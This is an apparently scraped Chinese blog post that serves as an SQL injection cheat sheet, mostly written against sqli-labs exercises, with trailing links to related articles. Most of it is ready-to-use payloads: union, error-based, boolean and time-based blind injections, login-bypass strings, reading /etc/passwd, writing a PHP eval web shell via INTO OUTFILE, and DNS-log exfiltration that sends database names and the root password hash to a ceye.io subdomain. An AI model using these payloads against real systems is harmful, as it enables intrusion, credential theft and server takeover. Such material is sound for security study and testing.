1. 数据库查询版本

  • Mssql select @@version
  • Mysql select vresion()/select @@version
  • oracle select banner from ¥version
  • Postgresql select version()

2. 数据库常用命令

  • 库操作

    • 连接数据库 mysql -u 用户名 -p
    • 创建数据库:create database 数据库名称、
    • 删除数据库 drop database 数据库名称、
    • 列出数据库 show databases
    • 使用数据据库 use 数据库名称、
    • 查看当前数据库 select database()
  • 表操作

    • 新建表create table 表名(键 varchar(10),键int(10))
    • 列出表 show tables
    • 删除表 delete 表名
  • 数据操作

    • 增加数据insert into 表名(键,键)values(值,值)

    • 删除数据 delete from 表名 where 键=值(删除某一行数据)

    • 修改数据 updata 表名 set 键 = 值 where 键=值

    • 查询数据 select * fom 表名

      存放数据库 information_ schema(存放schemata、 table、columns等等)

      存放数据库名 schemata

      表 table

      字段 columns

3. SQL手工注入步骤

注入点寻找

  • 判断请求方式

    • 浏览器F12 点网络
  • 单引号闭合’ ‘

  • 数字

  • 单引号括号闭合(’ ‘)

  • 双引号括号闭合(“ ”)

  • or 1=1

  • or 1=2

  • and 1=1

  • and 1=2

  • 数字型注入

    • 加单引号 错误出异常
    • and 1=1 正常
    • and 1=2 异常
  • 字符型注入

    • 加单引号 错误出异常
    • and ‘1’ = '1 正常
    • and ‘1’ = '2 异常

判断字段长度

  • order by 数字 可以判断字段的个数

  • 也可以用猜字段 union select 1,2,3

判断字段回显位置

在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11#】进行联合查询(联合查询时记得把前面的查询为空)来暴露可查询的字段号。

判断数据库注入

利用内置函数暴数据库信息

version()版本;database()数据库;user()用户;

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version()

and 1=2 union all select database()

and 1=2 union all select user()

操作系统信息:and 1=2 union all select @@global.version_compile_os from mysql.user

数据库权限:

and ord(mid(user(),1,1))=114 返回正常说明为root

查找数据库名

  • GET:IP/Less-1/?id=100’ union select 1,(select database()),3–+

  • POST:union select 1,(select group_concat(schema_name) from information_schema.schemata),3–+

  • 查看数据库长度length() and length(database())>10–+

  • 查看数据库名字mid()或者left

    • mid (string,start,length)返回指定的字符串从指定位置开始(可以用来猜数据库名 ) and mid(database(),1,1)>‘a’

    • left (string,lenth) 返回最左边指定的字符数

      and left(database(),1)>‘a’ (猜名字)

  • 将查到的库名放到同一个字符串

    • select GROUP_CONCAT(schema_name) from information_schema.schemata
  • 查到数单个据库名发送到ceye

    • union select 1,(select load_file(concat(’\\’,substr((select schema_name from information_schema.schemata limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+

查找数据表

  • union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) ,3

  • 将单个表名发送到ceye

    uname=1’) union select 3,(select load_file(concat(’\\’,substr((select table_name from information_schema.tables where table_schema =‘security’ limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+

查找数据表中所有字段(列)

  • 127.0.0.1/Less-3/?id=100’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’) --+

  • 获取内容

    • union select 1,(select group_concat(username) from security.users limit 0,1),3
  • 查询某一个表的字段名发送到ceye

    • union select 1,(select load_file(concat(’\\’,substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+

猜解账号密码

  • outfile文件注入

    • union select 1,’<?php @eval($_POST[360]);?>’ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+

    • into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-13\1.txt’

  • 查root密码ceye代码

    127.0.0.1/Less-1/?id=1’ union SELECT 1,(LOAD_FILE(CONCAT(’\\’,mid((SELECT password FROM mysql.user WHERE user=‘root’ LIMIT 1),2,41),’.mysql.ip.port.38ljf2.ceye.io\abc’))),3–+

  • bug

    uname=1’) or 1=1 into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-13\1.txt’;–+

    这个文件里会有所有的用户名和密码

  • 查询数据

    union select 1,(select 1 from (select count(*),concat((select(select(select distinct concat(username,password) from users limit 0,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

绕过登陆验证

  • admin’ –
  • admin’ #
  • admin’/*
  • ’ or 1=1–
  • ’ or 1=1#
  • ’ or 1=1/*
  • ') or ‘1’='1–
  • ') or (‘1’='1–

SQL注入常见函数

  • group_concat函数 可以把查询的内容组合成一个字符串

  • load_file(file name ) 读取文件并将文件按字符串返回

  • left(string,length)返回最左边指定的字符数:

    left(database(),1)>‘s’ (猜名字)

  • length()判断长度

    length(database()>5

  • substr(a,b,c)从字符串a中截取 b到c长度

  • ascii()将某个字符转为ascii值

    ascii(substr(user(),1,1))=101#

  • mid((a,b,c)从字符串a中截取 b到c位置(可以用来猜数据库名 )

4.SQL注入手册

SQL注入常用命令

  • 查看当前用户:union select 1,(select user())–+

  • 查看数据库版本:union select 1,(select version())–+

  • 查看当前数据库名:union select 1,(select database())–+

  • 查看操作系统union select 1,(select @@version_compile_os)–+

  • 所有用户:

    • union select 1,(select group_concat(user) from mysql.user)–

  • 用户hash

    • union select 1,(select group_concat(password) from mysql.user where user=‘root’)
  • 查看所有数据库名

    • union select 1,(SELECT group_concat(schema_name) from information_schema.schemata)–+
  • 查看某一个库的全部表

    • union select 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘库名’)–+
    • union select 1,(SELECT group_concat(table_name) from information_schema.table_constraints where table_schema=‘库名’
  • 查看某个表的字段名

    • union select 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=‘表名’)–+
  • 查看某个库中某个表的字段名

    • union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘表名’ and table_schema=‘库名’)–+
  • 读文件

    • union select 1,(SELECT load_file(’/etc/passwd’))–+
  • 写文件

    • union select 1,’<?php @eval($_POST[360]);?>’ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+

UNION注入

  • 猜字段长度

    • order by 数字 uname=1’ order by 2
  • 暴字段位置

    • union select 1,2 uname=1’ union select 1,2
  • 在指定表中查询制指定用户的密码

    • union SELECT 1,password from 表 where username=‘用户名’–+

报错注入

  • floor (SELECT user()可修改)

    • OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)–+
  • ExtractValue(有长度限制,最长32位) (select @@version可修改)

  • and extractvalue(1, concat(0x7e, (select @@version),0x7e))–+

  • UpdateXml(有长度限制,最长32位) (SELECT @@version可修改)

  • and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)–+

  • NAME_CONST(适用于低版本,不太好用)

  • and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)–+

  • Error based Double Query Injection

  • or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1–+

  • exp(5.5.5以上) (select user()可修改)

  • and (select exp(~(select * from(select user())x)))–+

  • floor(Mysql): and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

  • Extractvalue(Mysql): and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

  • Updatexml(Mysql): and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

  • EXP: and exp(~(select * from(select user())a));

  • UTL INADDR. get host address(Oracle): and 1=utl inaddrget host address(select bannerO from sys.v_$version where rownum=1))

  • multipoint(Mysql):and multipoint((select * from(select * from(select user())a)b));

  • polygon(Mysql):and polygon((select * from(select * from(select user())a)b));

  • multipolygon(Mysql):and multipolygon((select * from(select * from(select user())a)b));

  • linestring(Mysql):and linestring((select * from(select * from(select user())a)b));

  • multilinestring(Mysql):and multilinestring((select * from(select * from(select user())a)b));

bool盲注

  • 盲注的时候一定注意,MySQL4之后大小写不敏感,可使用binary()函数使大小写敏感。

  • 布尔条件构造
     //正常情况
    'or bool#
    true'and bool# //不使用空格、注释
    'or(bool)='1
    true'and(bool)='1 //不使用or、and、注释
    '^!(bool)='1
    '=(bool)='
    '||(bool)='1
    true'%26%26(bool)='1
    '=if((bool),1,0)='0 //不使用等号、空格、注释
    'or(bool)<>'0
    'or((bool)in(1))or'0 //其他
    or (case when (bool) then 1 else 0 end)
    • 有时候where字句有括号又猜不到SQL语句的时候,可以有下列类似的fuzz
     1' or (bool) or '1'='1
    1%' and (bool) or 1=1 and '1'='1
  • 构造逻辑判断
    • 逻辑判断基本就那些函数:
      left(user(),1)>'r'
    right(user(),1)>'r'
    substr(user(),1,1)='r'
    mid(user(),1,1)='r' //不使用逗号
    user() regexp '^[a-z]'
    user() like 'root%'
    POSITION('root' in user())
    mid(user() from 1 for 1)='r'
    mid(user() from 1)='r'
  • 利用order by盲注
    mysql> select * from admin where username='' or 1 union select 1,2,'5' order by 3;
    +----+--------------+------------------------
    | id | username | password
    +----+--------------+------------------------
    | 1 | 2 | 5
    | 1 | admin | 51b7a76d51e70b419f60d34
    +----+----------- --+------------------------
    2 rows in set (0.00 sec) mysql> select * from admin where username='' or 1 union select 1,2,'6' order by 3;
    +-----+-----------+--------------------------
    |id | username | password
    +-----+-----------+--------------------------
    | 1 | admin |51b7a76d51e70b419f60d3
    | 1 | 2 | 6
    +-----+-----------+--------------------------
    2 rows in set (0.01 sec)

延时盲注

  • 相对于bool盲注,就是把返回值0和1改为是否执行延时,能用其他方法就不使用延时

  • 一般格式if((bool),sleep(3),0)or (case when (bool) then sleep(3) else 0 end)

  • 两个函数:

  • BENCHMARK(100000,MD5(1))

  • sleep(5)

  • BENCHMARK()用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()

Mysql注释符

1. -- -
2. /* .... */
3. #
4. `
5. ;%00

GBK绕过注入

  • 在分号前加%df%27
  • 示例:id=1%d%27 union select 1.2–+

SQL注入常用命令的更多相关文章

  1. Oracle的学习一:安装与卸载、sql *plus常用命令、Oracle用户管理

    1.为什么学习oracle? 性能优越: 小型数据库 中型数据库 大型数据库 acess.foxbase mysql.sql server.informix sybase.oracle.db2 复杂量 ...

  2. 二、oracle sql*plus常用命令

    一.sys用户和system用户Oracle安装会自动的生成sys用户和system用户(1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该用户 ...

  3. oracle sql*plus常用命令

    一.sys用户和system用户Oracle安装会自动的生成sys用户和system用户(1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该用户 ...

  4. 二、 sql*plus常用命令

    一.sys用户和system用户Oracle安装会自动的生成sys用户和system用户(1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该用户 ...

  5. Oracle-01-数据库分类/oracle sql*plus常用命令

    一.数据库分类 一.数据库分类1.小型数据库:access.foxbase2.中型数据库:informix.sql server.mysql3.大型数据库:sybase.db2.oracle 二.项目 ...

  6. 4.oracle sql*plus常用命令

    一.sys用户和system用户Oracle安装会自动的生成sys用户和system用户(1).sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限,该用户 ...

  7. 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)

    前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...

  8. SQL Plus常用命令

    1.常用命令:显示当前用户名:show user登录到数据库:conn[etc] 用户名/密码@网络[as sysdba / as sysoper]   简单写法:conn 用户名/密码    con ...

  9. SQL注入常用函数(注入小白的学习笔记)

    在盲注的情况下,往往需要一个一个字符的去猜解,即过程中需要截取字符串 在这里整理了一下一些常用函数 由于现阶段学习不够深入,整理分类不清楚具体,不过博主会慢慢进行完善 user() 查询当前数据库用户 ...

随机推荐

  1. python基础语法_8循环语句

    http://www.runoob.com/python3/python3-loop.html while 循环 Python中while语句的一般形式: while 判断条件: 语句 无限循环 我们 ...

  2. 在公司内部网络如何搭建Python+selenium自动化测试环境

    在公司内部安装Python+selenium测试环境,由于不能连外网所以不能使用pip命令进行安装,经过多次尝试终于安装成功,现总结如下分享给大家,也希望跟大家一起学习和交流自动化网页测试时遇到的问题 ...

  3. 从服务间的一次调用分析整个springcloud的调用过程(二)

    先看示例代码 @RestController @RequestMapping("/students") public class StudentController { @Auto ...

  4. c++ istream_iterator ostream_iterator

    istream_iterator/ostream_iterator void stream_iter_odd_even(const string &in_file, const string ...

  5. 如何封装安全的go

    如何封装安全的go 在业务代码开发过程中,我们会有很大概率使用go语言的goroutine来开启一个新的goroutine执行另外一段业务,或者开启多个goroutine来并行执行多个业务逻辑.所以我 ...

  6. JVM学习——内存空间(学习过程)

    JVM--内存空间 关于内存的内容,内存的划分.JVM1.7 -> 1.8的变化比较大 JVM指令执行的时候,是基于栈的操作.每一个方法执行的时候,都会有一个属于自己的栈帧的数据结构.栈的深度, ...

  7. vue实例中的watch属性

    watch 就是监听,当数据发生改变的时候就执行 data:{ num1:1, num2:2 }, watch:{ num1(newValue){ }, num2(newValue,oldValue) ...

  8. 5大知名的BI工具对比介绍

    工欲善其事,必先利其器.企业对于BI工具的需求,已经刻不容缓.国内国外的BI工具不少,如Tableau.FineBI.Power BI.Smartbi等等.本文就对当下市面上最热门的5款知名的BI工具 ...

  9. Qt:QFile、QIODevice

    QFile 0.说明 QFile是读写文件的类,这里的文件包括文本文件.二进制文件.资源文件. 通常情况下,文件读写使用QFile.QTextStream.QDataStream就够了. file n ...

  10. Python:GUI库tkinter(三)

    这一章是对前两章的总结: Python:GUI库tkinter(一) Python:GUI库tkinter(二) 前两章是对控件的介绍,第一章可以知道各控件使用时的具体参数,第二章以具体的例子展示了每 ...